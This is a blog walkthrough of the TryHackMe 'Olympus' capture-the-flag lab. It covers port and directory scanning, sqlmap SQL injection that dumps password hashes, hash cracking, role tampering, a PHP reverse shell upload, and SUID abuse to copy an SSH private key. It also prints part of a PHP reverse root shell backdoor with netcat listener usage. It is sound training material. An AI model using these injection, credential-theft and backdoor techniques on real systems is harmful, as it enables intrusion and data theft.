j.info Cybersecurity Blog

A blog dedicated to learning about cybersecurity, and sharing CTF walkthroughs

Olympus

Date: July 22nd 2022

Author: j.info

Link: Olympus CTF on TryHackMe

TryHackMe Difficulty Rating: Medium



Objectives


Initial Enumeration

Nmap Scan

sudo nmap -sV -sC -T4 10.10.83.73

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm

Given it’s trying to reach olympus.thm I went ahead and added that to my hosts file.


Gobuster Scan

gobuster dir -u http://olympus.thm -t 100 -r -x php,txt,html -w dir-med.txt

/index.php            (Status: 200) [Size: 1948]
/static               (Status: 200) [Size: 1756]
/phpmyadmin           (Status: 403) [Size: 276] 
/javascript           (Status: 403) [Size: 276]
/~webmaster           (Status: 200) [Size: 9386]

/~webmaster scan:

/LICENSE              (Status: 200) [Size: 1070]
/admin                (Status: 200) [Size: 9386]
/category.php         (Status: 200) [Size: 6650]
/css                  (Status: 200) [Size: 1183]
/fonts                (Status: 200) [Size: 2405]
/index.php            (Status: 200) [Size: 9386]
/includes             (Status: 200) [Size: 2377]
/img                  (Status: 403) [Size: 276] 
/js                   (Status: 200) [Size: 1794]
/search.php           (Status: 200) [Size: 6621]


Website Digging

Visiting the main page:

Directory browsing is enabled on /static but looking through the files doesn’t provide anything interesting.

No cookies or anything saved for this website.

Trying to access /phpmyadmin gives us a forbidden as expected, but also provides us the underlying webserver and version:

Looking at ~webmaster shows us the old version of the site mentioned on the main page:

Scrolling down to the bottom:

None of the links on the top menu bar do anything. Nor do any the buttons, or the links at the bottom after scrolling down.

Testing the search box for SQLi shows:

I try to login as root with ‘ or 1=1 as the password and it doesn’t actually do anything.


SQLi

Let’s see what sqlmap finds for us:

sqlmap -u http://olympus.thm/~webmaster -T users --dump --forms --crawl=2 --batch

sqlmap identified the following injection point(s) with a total of 144 HTTP(s) requests:
---
Parameter: user_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_name=MxlA' AND (SELECT 6854 FROM (SELECT(SLEEP(5)))CfPK) AND 'hbcl'='hbcl&user_password=&login=tDoN

In the olympus database it found 9 columns for the users table:

[10:16:20] [INFO] fetching columns for table 'users' in database 'olympus'
[10:16:20] [INFO] retrieved: 9
[10:16:33] [INFO] retrieved: randsalt
[10:18:15] [INFO] retrieved: user_email
[10:20:27] [INFO] retrieved: user_firstname
[10:23:34] [INFO] retrieved: user_id
[10:25:16] [INFO] retrieved: user_image
[10:27:24] [INFO] retrieved: user_lastname
[10:30:18] [INFO] retrieved: user_name
[10:32:22] [INFO] retrieved: user_password
[10:35:32] [INFO] retrieved: user_role

And it found 3 users starting with prometheus:

[10:38:04] [INFO] retrieved: 
[10:38:16] [INFO] retrieved: prometheus@olympus.thm
[10:41:06] [INFO] retrieved: prometheus
[10:42:22] [INFO] retrieved: 3
[10:42:29] [INFO] retrieved: 
[10:42:29] [INFO] retrieved: 
[10:42:30] [INFO] retrieved: prometheus
[10:43:46] [INFO] retrieved: $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C
[10:52:14] [INFO] retrieved: User

And root:

[10:52:42] [INFO] retrieved: dgas
[10:53:07] [INFO] retrieved: root@chat.^X@seolympus.thm
[10:56:01] [INFO] retrieved: root
[10:56:36] [INFO] retrieved: 6                                                                         
[10:56:45] [INFO] retrieved: 
[10:56:46] [INFO] retrieved:
[10:56:46] [INFO] retrieved: root
[10:57:21] [INFO] retrieved: $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK
[11:05:25] [INFO] retrieved: Admin

And finally no olympus system is complete without zeus:

[11:05:57] [INFO] retrieved: dgas
[11:06:22] [INFO] retrieved: zeus@chat.olympus.thm
[11:09:11] [INFO] retrieved: zeus
[11:09:40] [INFO] retrieved: 7
[11:09:49] [INFO] retrieved: 
[11:09:49] [INFO] retrieved: 
[11:09:50] [INFO] retrieved: zeus
[11:10:19] [INFO] retrieved: $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC
[11:18:55] [INFO] retrieved: User

And the full results:

Database: olympus
Table: users
[3 entries]
+---------+----------+------------+-----------+------------------------+------------+---------------+--------------------------------------------------------------+----------------+
| user_id | randsalt | user_name  | user_role | user_email             | user_image | user_lastname | user_password                                                | user_firstname |
+---------+----------+------------+-----------+------------------------+------------+---------------+--------------------------------------------------------------+----------------+
| 3       | <blank>  | prometheus | User      | prometheus@olympus.thm | <blank>    | <blank>       | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C | prometheus     |
| 6       | dgas     | root       | Admin     | root@chat.olympus.thm  | <blank>    | <blank>       | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK | root           |
| 7       | dgas     | zeus       | User      | zeus@chat.olympus.thm  | <blank>    | <blank>       | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC | zeus           |
+---------+----------+------------+-----------+------------------------+------------+---------------+--------------------------------------------------------------+----------------+

I try and crack the hashes and only the one for prometheus cracks:

hashcat-6.2.5>hashcat -m 3200 -w 3 -O -D 1,2 hash.txt rockyou.txt

$2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C:<REDACTED>
Recovered........: 1/3 (33.33%) Digests, 1/3 (33.33%) Salts

On the CMS page I capture a search request using the search box and save it to a file and then use that to further enumerate with sqlmap. I should have done this earlier it was so much faster than the previous way I found the users. It looks like there are additional tables inside the olympus database:

sqlmap -r test.req --tables olympus --batch

Database: olympus
[6 tables]
+------------------------------------------------------+
| categories                                           |
| chats                                                |
| comments                                             |
| flag                                                 |
| posts                                                |
| users                                                |
+------------------------------------------------------+

The flag table certainly looks interesting!

sqlmap -r test.req -D olympus -T flag --batch --dump

Database: olympus
Table: flag
[1 entry]
+---------------------------+
| flag                      |
+---------------------------+
| flag{<REDACTED>} |
+---------------------------+

That answers our what is flag 1 objective.


More Website Digging

Back on the website I try to login with the prometheus user credentails we have and it works, and brings us to the CMS admin page:

Under the users menu on the left there is an option to add a new user, and it let’s me add a new user and assign them to admin status, whereas I’m only a normal user on my current user:

With the adminuser added as an admin I logout and then try to log in as that user, but it doesn’t actually log me in like it did with the prometheus user for some reason.

I log back in as promethus and it takes me right to the CMS. Odd. Let’s try something else here.

I start up burp suite and from the profile page of the prometheus user I click update user to capture the request in burp:

I modify the user_role section to Admin to see if it we can just make ourselves an admin that way and then send the request through, and it works:

I try everything I can to further exploit this website now that we’re an admin account but nothing works.

Looking back at the users table the root account had an email address of root@chat.olympus.thm but we haven’t seen a chat portion anywhere. Let’s add this to our hosts and see if we can access it.

Ok that’s something new. Let’s gobuster scan it to see what we can find on chat.olympus.thm:

gobuster dir -u http://chat.olympus.thm/ -t 100 -r -x html,php,txt -w dir-med.txt

/config.php           (Status: 200) [Size: 0]
/static               (Status: 200) [Size: 1761]
/phpmyadmin           (Status: 403) [Size: 281] 
/uploads              (Status: 200) [Size: 0]   
/login.php            (Status: 200) [Size: 1577]
/index.php            (Status: 200) [Size: 1577]
/upload.php           (Status: 200) [Size: 112] 
/javascript           (Status: 403) [Size: 281] 
/home.php             (Status: 200) [Size: 1577]
/logout.php           (Status: 200) [Size: 1577]

Nothing much interesting in those results.

I check to see if I can login as prometheus and it works, and then try to upload a php reverse shell which will likely be stored in the /uploads folder, but reading the chat message it says uploads get renamed to random file names.


System Access - www-data

Back in the olympus database there was a table called chats. I bet the random file name will be stored in there. I run sqlmap:

sqlmap -r test.req -D olympus -T chats --batch --dump

Database: olympus
Table: chats
[5 entries]
+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------+------------+
| dt         | msg                                                                                                                                                             | file                                 | uname      |
+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------+------------+
| 2022-04-05 | Attached : prometheus_password.txt                                                                                                                              | 47c3210d51761686f3af40a875eeaaea.txt | prometheus |
| 2022-04-05 | This looks great! I tested an upload and found the upload folder, but it seems the filename got changed somehow because I can't download it back...             | <blank>                              | prometheus |
| 2022-04-06 | I know this is pretty cool. The IT guy used a random file name function to make it harder for attackers to access the uploaded files. He's still working on it. | <blank>                              | zeus       |
| 2022-07-23 | Test                                                                                                                                                            | <blank>                              | prometheus |
| 2022-07-23 | Attached : p.jpg.php                                                                                                                                            | 37cbfb8b1a782887d80fcce8e529261e.php | prometheus |
+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------+------------+

Sure enough, we have our random file name that’s probably hanging out in the /uploads folder. I point my browser towards the prometheus_password.txt file and it just displays the message “you really thought it would be this easy ?!”.

I start up a listener on my system and access the reverse shell I added in the chat app:

And we’re in! A quick shell upgrade and we’re ready to start looking around the system:


System Enumeration - www-data

No luck with sudo -l it requires a password.

Same thing with getcap -r / 2>/dev/null there are no files with interesting capabilities.

Checking users with shell access via cat /etc/passwd | grep bash:

root:x:0:0:root:/root:/bin/bash
zeus:x:1000:1000:Zeus:/home/zeus:/bin/bash

Looking in /var/www/html shows us a non-standard directory name zeus owns that we can’t access. We’ll have to come back to this later I’m betting:

drwxrwx--x 2 root     zeus      4096 Jul 15 20:55 0aB44fdS3eDnLkpsz3deGv8TttR4sc

Checking out /home/zeus shows us a file called user.flag which gives us the answer to our second objective “what is flag 2?”:

wc -c /home/zeus/user.flag

34 /home/zeus/user.flag

Looking for SUID files with find / -perm /4000 2>/dev/null brings up one non-standard SUID file:

/usr/bin/cputils

And also interesting is it’s owned by the zeus user:

-rwsr-xr-x 1 zeus zeus 17728 Apr 18 09:27 /usr/bin/cputils

When running the program the following appears:

  ____ ____        _   _ _     
 / ___|  _ \ _   _| |_(_) |___ 
| |   | |_) | | | | __| | / __|
| |___|  __/| |_| | |_| | \__ \
 \____|_|    \__,_|\__|_|_|___/
                               
Enter the Name of Source File: 

Trying to get an idea of what it does by running strings on it shows us:

Enter the Name of Source File: 
Error Occurred!
Enter the Name of Target File: 
File copied successfully.

So it has something to do with copying files. Let’s test it out.

www-data@olympus:/tmp$ /usr/bin/cputils
  ____ ____        _   _ _     
 / ___|  _ \ _   _| |_(_) |___ 
| |   | |_) | | | | __| | / __|
| |___|  __/| |_| | |_| | \__ \
 \____|_|    \__,_|\__|_|_|___/
                               
Enter the Name of Source File: /home/zeus/.ssh/id_rsa

Enter the Name of Target File: /tmp/id_rsa

File copied successfully.

cat /tmp/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABALr+COV2
NabdkfRp238WfMAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQChujddUX2i

Well, that was easy! Let’s get that key created on our own system and ssh over as zeus.

Trying to connect over reveals that there is a password associated with the private key:

zeus@10.10.204.46's password:

Let’s see if we can crack it.

ssh2john id_rsa > hash

john hash --wordlist=rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED>        (id_rsa)     
1g 0:00:00:37 DONE (2022-07-23 11:27) 0.02691g/s 40.47p/s 40.47c/s 40.47C/s maurice..bunny
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Alright, now let’s try and ssh back over again.


System Access - Zeus

ssh -i id_rsa zeus@10.10.204.46

Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-109-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 23 Jul 2022 03:30:04 PM UTC

  System load:  0.0               Processes:             121
  Usage of /:   43.4% of 9.78GB   Users logged in:       0
  Memory usage: 73%               IPv4 address for eth0: 10.10.204.46
  Swap usage:   0%

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

33 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jul 16 07:52:39 2022
zeus@olympus:~$


System Enumeration - Zeus

sudo -l requires a password which we don’t have but it looks like he does have access to sudo since there’s a .sudo_as_admin_successful file in his home directory.

id

uid=1000(zeus) gid=1000(zeus) groups=1000(zeus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

That directory we ran across early that we couldn’t access because it was owned by zeus should be looked at. I change over to it:

cd /var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc

Inside we see a .php file that looks interesting:

-rwxr-xr-x 1 root     zeus     1589 Jul 15 20:55 VIGQFQFMYOST.php

It looks like that hacker Zeus put a backdoor in the system!:

<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form name="auth" method="POST">Password: <input type="password" name="password" /></form>');

set_time_limit(0);

$host = htmlspecialchars("$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]", ENT_QUOTES, "UTF-8");
if(!isset($_GET["ip"]) || !isset($_GET["port"])) die("<h2><i>snodew reverse root shell backdoor</i></h2><h3>Usage:</h3>Locally: nc -vlp [port]</br>Remote: $host?ip=[destination of listener]&port=[listening port]");
$ip = $_GET["ip"]; $port = $_GET["port"];

$write_a = null;
$error_a = null;

$suid_bd = "/lib/defended/libc.so.99";
$shell = "uname -a; w; $suid_bd";

The $pass variable is an MD5 hash which I try and crack with hashcat:

hashcat -m 0 -w 3 -O -D 1,2 hash.txt rockyou.txt

a7c5ffcf139742f52a5267c4a0674129:<REDACTED>
Recovered........: 1/1 (100.00%) Digests

It however does not work when trying to sudo -l again.

Looking at the $suid_bd and shell makes it looks like we can run the $shell command and get root.


Root

I run the command and sure enough we get root:

uname -a; w; /lib/defended/libc.so.99

zeus@olympus:/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc$ uname -a; w; /lib/defended/libc.so.99
Linux olympus 5.4.0-109-generic #123-Ubuntu SMP Fri Apr 8 09:10:54 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 16:02:41 up  1:59,  1 user,  load average: 0.04, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
zeus     pts/1    10.6.127.197     15:30    1.00s  0.12s  0.00s w
# whoami
root
# hostname
olympus

Looking in /root shows us our 3rd objective, the 3rd flag:

At the bottom they mention a bonus flag and that regex can be useful so I run a recursive grep on the string flag{ and find it in the following file which gives us the answer to our last objective, flag 4:

grep -r flag{

etc/ssl/private/.b0nus.fl4g:flag{<REDACTED>}


With that we’ve completed this CTF!


Conclusion

A quick run down of what we covered in this CTF:


Many thanks to:


You can visit them at: https://tryhackme.com